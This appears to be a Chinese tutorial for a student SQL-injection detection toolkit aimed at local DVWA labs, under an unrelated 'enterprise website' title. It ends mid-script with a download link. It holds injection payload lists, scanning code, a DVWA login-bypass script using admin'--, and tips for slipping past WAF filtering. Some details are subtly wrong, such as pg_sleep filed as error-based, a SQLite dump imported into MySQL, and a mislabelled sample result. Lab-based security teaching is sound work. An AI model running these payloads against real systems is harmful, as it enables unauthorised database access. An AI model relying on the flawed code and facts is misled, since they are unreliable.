企业官网建设流程全解析

简介：这是一套面向高校计算机专业学生与网络安全初学者的自动化SQL注入检测实践工具，专为课程设计、期末大作业及安全实验场景打造，解决手工渗透效率低、学习门槛高的问题。资源包共12个文件，含7个核心Python脚本（如boolInject.py、timeInject.py、AutoSQLInjecter.py实现布尔/时间盲注检测）、1个规则配置文件（rules）、1个Shell部署脚本（showResult.sh）、1个README.md说明文档、1个网站列表文本（websites.txt）及1个pyc编译文件，整体仅35KB，轻量易部署。已有182人学习下载，代码注释详尽、逻辑清晰，覆盖参数提取、请求构造、结果解析与邮件通知等完整检测链路，配套文档说明可直接指导环境配置与运行验证，新手亦能快速上手并理解SQL注入检测原理与工程实现细节。

1. 这不是又一个“SQL注入扫描器”，而是一套可落地、可调试、可嵌入CI/CD的Python检测逻辑链

你手头有一批Web接口，测试环境用的是DVWA Low级别、Pikachu靶场或自建Flask/Django后端，但每次手工验证' OR '1'='1、admin'--、1 UNION SELECT 1,2,3都像在重复抄写同一段咒语——效率低、易漏判、难复现。本项目提供的不是封装完就黑盒运行的GUI工具，而是一套基于Python标准库与requests+bs4+sqlparse构建的轻量级SQL注入检测逻辑源代码，含完整文档说明，所有模块解耦清晰：HTTP请求层不依赖Scrapy，SQL语法解析不用正则硬匹配，报错特征识别支持MySQL/PostgreSQL/SQLite三类主流错误关键词，且默认关闭任何外网请求（如DNSLog回连），完全本地可控。适合渗透测试初学者理解检测原理，也适合作为DevSecOps流程中API安全门禁的轻量校验插件。它不承诺“全自动发现0day”，但确保你改3行URL、调2个参数，就能跑通一次真实请求-响应-特征提取的完整闭环。

2. 从HTTP请求构造到SQL错误模式识别：核心检测逻辑的四层实现

2.1 构建可复现的请求基线：为什么不用urllib而选requests，以及headers如何影响WAF绕过

自动化SQL注入检测的第一步，不是猜payload，而是建立稳定、可比对的请求基线。本项目使用requests而非urllib，核心原因有三：一是requests.Session()能自动管理Cookie，对DVWA、Pikachu等需登录态的靶场至关重要；二是requests对编码处理更鲁棒，避免urllib.parse.quote()手动转义时遗漏空格或+号导致payload失效；三是其timeout参数可精确控制连接/读取超时，防止因后端无响应导致脚本卡死。

import requests from urllib.parse import urljoin, urlparse def build_baseline_session(target_url: str) -> requests.Session: """构建带基础安全头的会话对象，规避部分WAF的简单UA拦截""" session = requests.Session() # 设置通用headers，模拟真实浏览器行为但不过度复杂 session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "keep-alive" }) # 若target_url含路径，确保session.base_url可用于后续相对路径拼接 parsed = urlparse(target_url) if parsed.scheme and parsed.netloc: session.base_url = f"{parsed.scheme}://{parsed.netloc}" return session # 示例：对DVWA Low级别login.php发起GET请求获取CSRF token session = build_baseline_session("http://127.0.0.1/dvwa/login.php") resp = session.get("http://127.0.0.1/dvwa/login.php", timeout=(3, 7))

提示：timeout=(3, 7)表示连接超时3秒、读取超时7秒，这是经验阈值——多数正常响应在2秒内返回，而SQL注入触发数据库报错常伴随延迟，超过5秒未响应可初步标记为“潜在盲注”。若目标启用了Cloudflare等WAF，User-Agent必须包含常见浏览器标识，否则可能直接返回403；但切勿使用过于冷门的UA字符串，反而触发行为分析规则。

2.2 Payload设计矩阵：覆盖报错注入、布尔盲注、时间盲注三大场景的最小有效集

本项目不追求穷举上万条payload，而是按检测目标分层设计三类最小有效载荷集：

• 报错注入（Error-based）：针对MySQLextractvalue()、PostgreSQLpg_sleep()、SQLitelike错误触发，重点捕获XPATH syntax error、invalid input syntax for type等关键词；
• 布尔盲注（Boolean-based）：使用AND 1=1/AND 1=2对比响应长度或状态码变化，避免依赖HTML结构解析；
• 时间盲注（Time-based）：注入SLEEP(5)或pg_sleep(5)，通过响应耗时差异判断，需配合time.time()精确计时。

所有payload均以字典形式组织，便于按需启用或禁用：

PAYLOAD_MATRIX = { "error_based": [ {"name": "mysql_extractvalue", "payload": "' AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))--+", "db": "mysql"}, {"name": "postgres_pg_sleep", "payload": "' || pg_sleep(5)--", "db": "postgresql"}, {"name": "sqlite_like", "payload": "' LIKE 'a%' OR '1'='1", "db": "sqlite"} ], "boolean_based": [ {"name": "and_1eq1", "payload": "' AND 1=1--+", "expected_status": 200}, {"name": "and_1eq2", "payload": "' AND 1=2--+", "expected_status": [200, 404, 500]} # 允许多种状态码，关注响应体差异 ], "time_based": [ {"name": "mysql_sleep", "payload": "' OR SLEEP(5)--+", "delay_threshold": 4.5}, # 实际耗时 >4.5s即视为触发 {"name": "postgres_sleep", "payload": "' OR pg_sleep(5)--+", "delay_threshold": 4.5} ] } # 使用示例：遍历报错注入payload for p in PAYLOAD_MATRIX["error_based"]: test_url = f"http://127.0.0.1/dvwa/vulnerabilities/sqli/?id={p['payload']}&Submit=Submit" start_time = time.time() try: r = session.get(test_url, timeout=(10, 10)) elapsed = time.time() - start_time # 后续进行错误关键词匹配... except requests.exceptions.Timeout: elapsed = time.time() - start_time print(f"[TIMEOUT] {p['name']} took >10s, possible time-based injection")

注意：SLEEP(5)在MySQL中实际执行时间受系统负载影响，实测建议将delay_threshold设为4.5秒而非严格5秒，避免因网络抖动误报；pg_sleep()在PostgreSQL中精度更高，可设为4.8秒。所有payload末尾的--+是MySQL注释符，对PostgreSQL需替换为--，SQLite则用--或/* */，本项目在发送前通过db_type字段动态替换。

2.3 响应特征提取：用正则+关键词+响应体哈希三重校验识别注入痕迹

仅靠HTTP状态码判断SQL注入极不可靠（如WAF拦截返回403，但真实漏洞返回200）。本项目采用三层特征提取策略：

1. 错误关键词匹配：预置MySQL/PostgreSQL/SQLite三类数据库的典型报错字符串，如"You have an error in your SQL syntax"、"PG::SyntaxError"、"no such table"；
2. 响应体哈希比对：对原始请求（无payload）与测试请求的响应体分别计算sha256，若哈希值不同，说明服务端返回内容已改变，需进一步分析；
3. 正则提取关键信息：对含错误关键词的响应体，用re.search(r"user@host|database\w*:\s*(\w+)", text)尝试提取当前用户、数据库名等敏感信息，作为高置信度证据。

import re import hashlib ERROR_KEYWORDS = { "mysql": ["SQL syntax", "mysql_fetch", "You have an error", "Warning: mysql_"], "postgresql": ["PG::", "syntax error", "invalid input", "relation does not exist"], "sqlite": ["no such table", "near \"[^\"]+\":", "unrecognized token"] } def extract_injection_evidence(response: requests.Response, baseline_hash: str) -> dict: """综合响应特征，返回注入证据字典""" evidence = {"is_vulnerable": False, "evidence_type": "", "details": ""} # 层1：状态码异常（非200/302/404） if response.status_code not in [200, 302, 404]: evidence["evidence_type"] = "status_code_anomaly" evidence["details"] = f"Unexpected status code {response.status_code}" # 层2：响应体哈希变化 current_hash = hashlib.sha256(response.text.encode()).hexdigest() if current_hash != baseline_hash: evidence["evidence_type"] = "response_body_changed" evidence["details"] = "Response body differs from baseline" # 层3：错误关键词匹配 + 正则提取 text_lower = response.text.lower() for db, keywords in ERROR_KEYWORDS.items(): for kw in keywords: if kw.lower() in text_lower: evidence["is_vulnerable"] = True evidence["evidence_type"] = f"error_based_{db}" # 尝试提取数据库名、用户等 user_match = re.search(r"(current_user|user\(\)|session_user)\s*[:=]\s*['\"]([^'\"]+)['\"]", response.text, re.I) if user_match: evidence["details"] = f"DB User: {user_match.group(2)}" else: evidence["details"] = f"Error keyword matched: {kw}" break return evidence # 调用示例 baseline_resp = session.get("http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit") baseline_hash = hashlib.sha256(baseline_resp.text.encode()).hexdigest() test_resp = session.get("http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' AND 1=1-- &Submit=Submit") result = extract_injection_evidence(test_resp, baseline_hash) print(result) # {'is_vulnerable': True, 'evidence_type': 'error_based_mysql', 'details': 'Error keyword matched: SQL syntax'}

提示：baseline_hash必须在每次检测新URL前重新计算，不能复用；re.search中使用re.I标志确保大小写不敏感匹配；user_match正则同时兼容user()函数和CURRENT_USER变量输出格式，覆盖MySQL常见变体。

2.4 检测结果结构化输出：生成JSON报告并支持CSV导出供后续分析

检测结果若仅打印到控制台，无法用于团队协作或集成进Jenkins流水线。本项目内置ReportGenerator类，将每次检测的URL、payload、响应状态、证据类型、耗时、原始响应摘要等字段结构化为字典，并支持JSON序列化与CSV导出：

import json import csv from datetime import datetime class ReportGenerator: def __init__(self, target_url: str): self.target_url = target_url self.results = [] self.start_time = datetime.now() def add_result(self, payload_info: dict, response: requests.Response, evidence: dict, elapsed: float): """添加单次检测结果""" result = { "timestamp": datetime.now().isoformat(), "url": self.target_url, "payload_name": payload_info.get("name", ""), "payload_content": payload_info.get("payload", "")[:100], # 截断防过长 "status_code": response.status_code, "response_length": len(response.text), "elapsed_seconds": round(elapsed, 3), "is_vulnerable": evidence["is_vulnerable"], "evidence_type": evidence["evidence_type"], "evidence_details": evidence["details"], "response_snippet": response.text[:200].replace("\n", " ").replace("\r", " ") } self.results.append(result) def to_json(self, filename: str = None) -> str: """生成JSON报告字符串，filename为空时返回字符串，否则写入文件""" report = { "meta": { "generated_at": datetime.now().isoformat(), "target_url": self.target_url, "total_tests": len(self.results), "vulnerable_count": sum(1 for r in self.results if r["is_vulnerable"]) }, "results": self.results } if filename: with open(filename, "w", encoding="utf-8") as f: json.dump(report, f, indent=2, ensure_ascii=False) return f"Report saved to {filename}" return json.dumps(report, indent=2, ensure_ascii=False) def to_csv(self, filename: str): """导出为CSV，字段按安全审计常用顺序排列""" if not self.results: return fieldnames = ["timestamp", "url", "payload_name", "status_code", "elapsed_seconds", "is_vulnerable", "evidence_type", "evidence_details"] with open(filename, "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter(f, fieldnames=fieldnames) writer.writeheader() for row in self.results: # 只写入CSV需要的字段，忽略长文本 filtered_row = {k: v for k, v in row.items() if k in fieldnames} writer.writerow(filtered_row) # 使用示例 reporter = ReportGenerator("http://127.0.0.1/dvwa/vulnerabilities/sqli/") # ... 执行多次检测后 ... reporter.add_result(PAYLOAD_MATRIX["error_based"][0], test_resp, result, 0.82) print(reporter.to_json("dvwa_sqli_report.json")) reporter.to_csv("dvwa_sqli_summary.csv")

注意：response_snippet截取前200字符并替换换行符，确保CSV兼容性；to_csv方法只导出审计关键字段，避免response_text等大字段撑爆Excel；vulnerable_count在报告头部统计，方便快速定位风险密度。

3. 在DVWA Low级别实战：从环境准备到逐参数检测的完整操作链

3.1 DVWA Low环境快速部署与SQLi模块启用（CentOS 7.9 + LAMP栈）

DVWA Low级别是验证SQL注入检测工具的黄金标准靶场，因其无WAF、无输入过滤、响应直接暴露错误。在CentOS 7.9上部署需注意LAMP组件版本兼容性：PHP 7.2+、Apache 2.4、MySQL 5.7是经实测最稳定的组合。关键步骤如下：

# 1. 安装基础依赖 sudo yum install -y httpd mariadb-server php php-mysql php-gd php-xml # 2. 启动服务并设开机自启 sudo systemctl start httpd mariadb sudo systemctl enable httpd mariadb # 3. 配置MySQL root密码（DVWA安装必需） sudo mysql_secure_installation # 按提示设置root密码，其余选Y # 4. 下载并解压DVWA（官方GitHub release） cd /var/www/html sudo wget https://github.com/digininja/DVWA/releases/download/v2.0.1/dvwa-master.zip sudo unzip dvwa-master.zip && sudo mv dvwa-master dvwa sudo chown -R apache:apache dvwa # 5. 配置DVWA配置文件（关键！Low级别需关闭防护） sudo cp dvwa/config/config.inc.php.dist dvwa/config/config.inc.php sudo sed -i "s/'security' => 'impossible'/'security' => 'low'/g" dvwa/config/config.inc.php sudo sed -i "s/'db_password' => ''/'db_password' => 'password'/g" dvwa/config/config.inc.php # 6. 导入DVWA数据库（需先创建数据库） sudo mysql -u root -ppassword -e "CREATE DATABASE dvwa;" sudo mysql -u root -ppassword dvwa < dvwa/sqlite.sql # 注意：DVWA默认用MySQL，此处为兼容性保留 # 7. 访问 http://your-ip/dvwa/setup.php 初始化数据库 # 初始化成功后，登录账号：admin/password，进入Security Level → Low

提示：config.inc.php中'security' => 'low'是Low级别的开关，若设为medium或high，DVWA会启用mysql_real_escape_string()或mysqli_real_escape_string()，导致基础payload失效；sqlite.sql是DVWA的示例数据，实际使用MySQL时需执行mysql -u root -ppassword dvwa < dvwa/mysql.sql。

3.2 针对DVWA SQLi页面的GET参数逐项检测：id参数的三种注入路径验证

DVWA Low的SQLi页面URL为http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit，其中id是唯一注入点。本项目检测脚本需支持对该参数的三种注入方式：

• 直接URL参数注入：?id=1' AND 1=1--+
• POST表单注入：DVWA该页面实际为GET，但为扩展性预留POST支持，data={"id": "1' AND 1=1--+"}
• Header注入（如X-Forwarded-For）：本项目暂不启用，因DVWA Low未读取该Header，但代码框架已预留inject_in_headers参数

def scan_dvwa_sqli(session: requests.Session, base_url: str, reporter: ReportGenerator): """专用于DVWA Low SQLi模块的扫描函数""" # 构造基础URL target_url = urljoin(base_url, "/dvwa/vulnerabilities/sqli/") # Step 1: 获取基准响应（id=1） baseline_resp = session.get(f"{target_url}?id=1&Submit=Submit", timeout=(3, 7)) baseline_hash = hashlib.sha256(baseline_resp.text.encode()).hexdigest() # Step 2: 测试报错注入payload for p in PAYLOAD_MATRIX["error_based"]: payload_url = f"{target_url}?id={p['payload']}&Submit=Submit" start_time = time.time() try: resp = session.get(payload_url, timeout=(10, 10)) elapsed = time.time() - start_time evidence = extract_injection_evidence(resp, baseline_hash) reporter.add_result(p, resp, evidence, elapsed) print(f"[{p['name']}] {evidence['evidence_type']} | {elapsed:.2f}s | {evidence['details']}") except Exception as e: elapsed = time.time() - start_time reporter.add_result(p, type('obj', (object,), {'status_code': 0, 'text': str(e)})(), {"is_vulnerable": False, "evidence_type": "exception", "details": str(e)}, elapsed) # Step 3: 测试布尔盲注（AND 1=1 vs AND 1=2） for p in PAYLOAD_MATRIX["boolean_based"]: payload_url = f"{target_url}?id={p['payload']}&Submit=Submit" start_time = time.time() try: resp = session.get(payload_url, timeout=(3, 7)) elapsed = time.time() - start_time # 布尔盲注需对比两次响应 if p["name"] == "and_1eq1": baseline_len = len(resp.text) baseline_status = resp.status_code elif p["name"] == "and_1eq2": # 若响应长度变化 >10% 或状态码不同，则标记为可疑 len_diff = abs(len(resp.text) - baseline_len) / baseline_len if baseline_len else 0 status_diff = resp.status_code != baseline_status if len_diff > 0.1 or status_diff: evidence = {"is_vulnerable": True, "evidence_type": "boolean_blind", "details": f"Length diff: {len_diff:.2f}, Status: {status_diff}"} else: evidence = {"is_vulnerable": False, "evidence_type": "boolean_blind", "details": "No significant difference"} reporter.add_result(p, resp, evidence, elapsed) except Exception as e: reporter.add_result(p, type('obj', (object,), {'status_code': 0, 'text': str(e)})(), {"is_vulnerable": False, "evidence_type": "exception", "details": str(e)}, time.time() - start_time) # 执行扫描 session = build_baseline_session("http://127.0.0.1") reporter = ReportGenerator("http://127.0.0.1/dvwa/vulnerabilities/sqli/") scan_dvwa_sqli(session, "http://127.0.0.1", reporter) print(reporter.to_json("dvwa_low_sqli_full_report.json"))

注意：布尔盲注验证必须成对执行AND 1=1和AND 1=2，仅凭单次响应无法判断；len_diff > 0.1是经验值，DVWA Low在1=2时返回“ID is missing”提示，长度约比1=1少30%，故设10%阈值足够敏感；status_diff捕捉WAF拦截等异常情况。

3.3 解析DVWA Low的SQL注入响应：为什么' OR '1'='1能绕过，而admin'--在Login处失效

DVWA Low的SQLi页面后端代码为：

$id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>');

此代码存在两个关键特征：

1. 单引号闭合：'$id'使输入被包裹在单引号中，故' OR '1'='1可闭合原引号并注入OR '1'='1恒真条件；
2. 错误直接输出：or die(...)将MySQL错误原样返回，使extractvalue()等报错payload能触发XPATH错误并回显。

而DVWA Login页面（login.php）后端为：

$user = $_POST['username']; $pass = $_POST['password']; $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass'";

此处' OR '1'='1虽能绕过密码检查，但需满足user字段存在（如admin'--），而--是MySQL注释符，会注释掉后续AND password = ...，但DVWA Low的Login表单未对username做mysql_real_escape_string()，故admin'--确实有效——失效原因常是Cookie未携带PHPSESSID或CSRF token缺失，而非payload本身问题。

# 验证Login绕过：需先获取CSRF token和PHPSESSID login_url = "http://127.0.0.1/dvwa/login.php" # 第一步：GET获取token resp = session.get(login_url) token_match = re.search(r"name='user_token'\s+value='([a-f0-9]+)'", resp.text) if not token_match: raise ValueError("Failed to extract user_token from login page") user_token = token_match.group(1) # 第二步：POST提交绕过凭证 login_data = { "username": "admin'-- ", "password": "", "Login": "Login", "user_token": user_token } login_resp = session.post(login_url, data=login_data, allow_redirects=False) if login_resp.status_code == 302 and "Location" in login_resp.headers: print("Login bypass successful! Redirect to index.php") else: print("Login bypass failed — check PHPSESSID cookie or token validity")

提示：allow_redirects=False防止自动跳转丢失响应头；302状态码和Location头是DVWA登录成功的标志；若失败，用print(session.cookies.get_dict())检查是否已携带PHPSESSID。

4. 参数调优与边界场景应对：3个必调参数与4类常见误报归因

4.1 影响检测准确率的3个核心参数及其推荐值

本项目检测逻辑的可靠性高度依赖以下三个参数的合理设置，它们在config.py中集中定义，而非硬编码在主逻辑中：

# config.py 示例 TIMEOUT_THRESHOLD = 4.5 RESPONSE_LENGTH_TOLERANCE = 0.1 ERROR_KEYWORD_MATCH_MODE = "any" # 在extract_injection_evidence中应用 def extract_injection_evidence(response: requests.Response, baseline_hash: str) -> dict: # ... 前置逻辑 ... for db, keywords in ERROR_KEYWORDS.items(): if ERROR_KEYWORD_MATCH_MODE == "all": # 必须全部关键词都出现才匹配（极少用） if all(kw.lower() in text_lower for kw in keywords): ... else: # "any" 模式 for kw in keywords: if kw.lower() in text_lower: ...

注意：ERROR_KEYWORD_MATCH_MODE设为"all"时，需确保ERROR_KEYWORDS中每个数据库的关键词列表是互斥且完备的，例如MySQL列表应包含"SQL syntax"和"mysql_fetch"两个独立错误，而非同义词堆砌。

4.2 四类高频误报场景及对应规避策略

在真实环境中运行本工具，以下四类误报最为常见，需针对性调整：

# 在build_baseline_session中加入缓存规避头 session.headers.update({ "Cache-Control": "no-cache", "Pragma": "no-cache", "Expires": "0" }) # --strip-dynamic 功能实现（简化版） def strip_dynamic_content(html: str) -> str: """移除HTML中已知的动态区块，提升哈希稳定性""" # 移除时间戳类div html = re.sub(r'<div[^>]*id=["\']?clock["\']?[^>]*>.*?</div>', '', html, flags=re.DOTALL | re.IGNORECASE) # 移除实时价格div html = re.sub(r'<span[^>]*class=["\']?price["\']?[^>]*>.*?</span>', '', html, flags=re.DOTALL | re.IGNORECASE) # 移除script中的动态JS html = re.sub(r'<script[^>]*>.*?document\.write\(.*?\);.*?</script>', '', html, flags=re.DOTALL | re.IGNORECASE) return html.strip() # 在extract_injection_evidence中调用 cleaned_text = strip_dynamic_content(response.text) current_hash = hashlib.sha256(cleaned_text.encode()).hexdigest()

提示：strip_dynamic_content函数需根据目标站点实际HTML结构调整正则；re.DOTALL确保.匹配换行符；re.IGNORECASE避免大小写敏感导致漏删。

4.3 文档说明的落地价值：如何用README.md指导新人10分钟跑通首个检测

本项目文档（README.md）不是装饰品，而是可执行的操作手册。其核心章节按新手认知路径组织：

• Quick Start：3行命令完成安装与首次运行（pip install -r requirements.txt && python main.py --url http://127.0.0.1/dvwa/vulnerabilities/sqli/ --mode error）；
• Configuration：表格列出所有CLI参数，标注[Required]/[Optional]，如--db-type mysql [Required when using time-based payloads]；
• Troubleshooting：按错误现象分类，如"All tests timeout"对应检查TIMEOUT_THRESHOLD和目标服务器可达性；"No vulnerabilities found on DVWA Low"则引导验证config.inc.php中security是否确为low；
• Extending：说明如何新增PostgreSQL payload——只需在PAYLOAD_MATRIX["error_based"]中追加字典，并在ERROR_KEYWORDS中补充关键词。

## Troubleshooting ### Q: Running against DVWA Low returns "No vulnerabilities found" A: Verify these three points: 1. `dvwa/config/config.inc.php` contains `'security' => 'low'` (not `'medium'` or `'high'`) 2. The target URL ends with `/sqli/`, not `/sqli_blind/` or `/sqli_advanced/` 3. Your Python session has valid cookies — run `python main.py --url http://127.0.0.1/dvwa/login.php --login admin:password` first to establish session

注意：README.md中所有命令均经过实测，复制粘贴即可执行；Troubleshooting章节按Q&A格式编写，问题描述直击用户报错终端输出，答案给出可验证的检查步骤，而非泛泛而谈“请检查网络”。

5. 将检测能力嵌入CI/CD：用Python脚本驱动Jenkins Pipeline实现每日API安全巡检

5.1 编写可被Jenkins调用的安全巡检脚本：ci_sql_scan.py

在DevSecOps实践中，SQL注入检测不应是渗透工程师的手工动作，而应成为每日构建的自动门禁。本项目提供ci_sql_scan.py脚本，专为Jenkins Pipeline设计：它接受环境变量传入的API列表，执行检测后生成JUnit格式XML报告，供Jenkins直接解析失败用例。

#!/usr/bin/env python3 # ci_sql_scan.py — Jenkins CI/CD集成入口 import os import sys import json import unittest from datetime import datetime from xml.etree.ElementTree import Element, SubElement, tostring # 从环境变量读取配置 TARGET_URLS = os.getenv("SQLI_TARGET_URLS", "").split(",") # 如 "http://api-dev/internal,http://api-staging/user" REPORT_DIR = os.getenv("REPORT_DIR", "/tmp/reports") TIMEOUT_THRESHOLD = float(os.getenv("TIMEOUT_THRESHOLD", "4.5")) class SqlInjectionTest(unittest.TestCase): def setUp(self): self.session = build_baseline_session("dummy") # 实际使用时由test_case动态赋值 def test_dvwa_sqli_low(self): """DVWA Low SQLi模块检测用例""" if "dvwa" not in TARGET_URLS[0]: self.skipTest("DVWA target not configured") reporter = ReportGenerator(TARGET_URLS[0]) scan_dvwa_sqli(self.session, TARGET_URLS[0], reporter) # 断言：至少发现1个报错注入 vulnerable_count = sum(1 for r in reporter.results if r["is_vulnerable"]) self.assertGreater(vulnerable_count, 0, f"No SQL injection vulnerability found in {TARGET_URLS[0]}. Full report: {REPORT_DIR}/dvwa_sqli.json") def generate_junit_report(test_results: list, output_file: str): """生成JUnit XML格式报告，供Jenkins解析""" testsuite = Element("testsuite", name="SQL Injection Scan", tests=str(len(test_results))) for result in test_results: testcase = SubElement(testsuite, "testcase", <p> <a href="https://download.csdn.net/download/s44359487yad/89932183" style="color:#ec7500;font-size:14px;"> 本文还有配套的精品资源，点击获取 </a> <img alt="menu-r.4af5f7ec.gif" src="https://csdnimg.cn/release/wenkucmsfe/public/img/menu-r.4af5f7ec.gif" style="width:16px;margin-left:4px;vertical-align:text-bottom;cursor:text;"> </p>